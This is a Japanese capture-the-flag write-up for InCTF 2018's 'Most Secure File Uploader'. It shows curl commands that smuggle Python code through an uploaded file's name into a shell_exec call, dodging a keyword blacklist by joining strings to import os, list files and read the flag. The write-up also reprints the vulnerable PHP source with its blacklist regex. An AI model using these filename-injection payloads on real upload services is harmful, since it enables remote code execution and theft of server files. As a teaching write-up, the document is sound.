InCTF 2018 - The Most Secure File Uploader
問題文
Somehow the codes are all messed up and it seems that it was my younger brother. He messed up my File Uploader. But I know you...You dont look like a hacker at all...Can you fix this for me? :)
writeup
ファイルアップロードの機能を持つ画面。 試しに適当な画像をアップロードしてみる。
ファイル名をそのままpythonコードとして実行しているように見える。
なぜそんなことを・・・。
疑問をもちつつも、ファイル名を使用したRCEで攻める。
いちいちファイル名を変えて画面からアップロードは面倒であるため、以降はcurlで実行する。
まずはprint文で様子見するが、拡張子に縛りがあるようだ。
root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print('hoge')\"" Sorry, only JPG, JPEG, PNG & GIF files are allowed.<br>Sorry, your file was not uploaded.<br>
拡張子をつけたままだと、拡張子の名前のフィールドにアクセスしようとしてエラーとなる。
root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print('hoge').jpg\"" The file: print('hoge').jpg has been uploaded.<br>File: print('hoge').jpg<br>Size: 1094<br>Type: image/jpeg<br><br><br><br>print('hoge').jpg<br><br><br>Traceback (most recent call last): File "<string>", line 1, in <module> AttributeError: 'str' object has no attribute 'jpg'
#
でコメントアウトして解決。
root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print('hoge')#.jpg\"" The file: print('hoge')#.jpg has been uploaded.<br>File: print('hoge')#.jpg<br>Size: 1094<br>Type: image/jpeg<br><br><br><br>print('hoge')#.jpg<br><br><br>hoge
pyjailを使って、サーバ内のファイルの取得を試みる。
ただ、blacklist機能があるようで、__class__
が使用できない。
root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print(().__class__)#.jpg\"" <br>Filename: print(().__class__)#.jpg<br><br>I think its called blacklisting...!
他、__import__
、os
、__builtins__
なども使用不可だった。
試行錯誤し、最終的にはglobals()
から辿り、文字列結合でblacklistを回避し、os
モジュールを使用できた。
文字列結合にあたり、+
も使用不可であったため、join
で解決。
カレントディレクトリ配下のファイルを表示する。
root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['__imp','ort__'])](''.join(['o','s'])).listdir('.'))#.jpg\"" The file: print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['__imp','ort__'])](''.join(['o','s'])).listdir('.'))#.jpg has been uploaded.<br>File: print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['__imp','ort__'])](''.join(['o','s'])).listdir('.'))#.jpg<br>Size: 1094<br>Type: image/jpeg<br><br><br><br>print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['__imp','ort__'])](''.join(['o','s'])).listdir('.'))#.jpg<br><br><br>['index.html', 'favicon.png', 'upload.php', 'flag']
flagファイルを表示する。
root@kali:~# curl http://18.216.190.57/upload.php -F "fileToUpload=@hoge.jpg;filename=\"print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['op','en'])]('flag').read())#.jpg\"" The file: print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['op','en'])]('flag').read())#.jpg has been uploaded.<br>File: print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['op','en'])]('flag').read())#.jpg<br>Size: 1094<br>Type: image/jpeg<br><br><br><br>print(globals().__getitem__(''.join(['__builtin','s__'])).__dict__[''.join(['op','en'])]('flag').read())#.jpg<br><br><br>inctf{w0w_pyth0n_mad3_my_lif3_s0_3z}
フラグゲット。
inctf{w0w_pyth0n_mad3_my_lif3_s0_3z}
補足
upload.phpのコードも取得した。何がblacklistに入っていたか確認できる。
<?php $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); $uploadOk = 1; $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); $blacklist = "import|os|class|subclasses|mro|request|args|eval|if|for|\%|subprocess|file|open|popen|builtins|\+|compile|execfile|from_pyfile|config|local|\`|\||\&|\;|\{|\}"; if(!$_FILES["fileToUpload"]["name"]) { die("PLEASE UPLOAD SOMETHING"); } // Check if image file is a actual image or fake image if(isset($_POST["submit"])) { $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]); if($check !== false) { echo "File is an image - " . $check["mime"] . "<br>"; $uploadOk = 1; } else { echo "File is not an image." . "<br>"; $uploadOk = 0; } } // Check file size if ($_FILES["fileToUpload"]["size"] > 500000) { echo "Sorry, your file is too large." . "<br>"; $uploadOk = 0; } // Allow certain file formats if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" ) { echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed." . "<br>"; $uploadOk = 0; } // Check if $uploadOk is set to 0 by an error if ($uploadOk == 0) { echo "Sorry, your file was not uploaded." . "<br>"; exit(); } // if everything is ok, try to upload file if (preg_match("/$blacklist/i", $_FILES["fileToUpload"]["name"])){ echo "<br>Filename: ".$_FILES["fileToUpload"]["name"]."<br><br>"; die("I think its called blacklisting...!"); } echo "The file: ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded." . "<br>"; echo "File: " . $_FILES["fileToUpload"]["name"] . "<br>"; echo "Size: " . $_FILES["fileToUpload"]["size"] . "<br>"; echo "Type: " . $_FILES["fileToUpload"]["type"] . "<br>"; echo "<br><br><br>"; echo $name = urldecode($_FILES["fileToUpload"]["name"]); echo "<br><br><br>"; echo shell_exec("python -c \"" . $name . "\" 2>&1"); ?>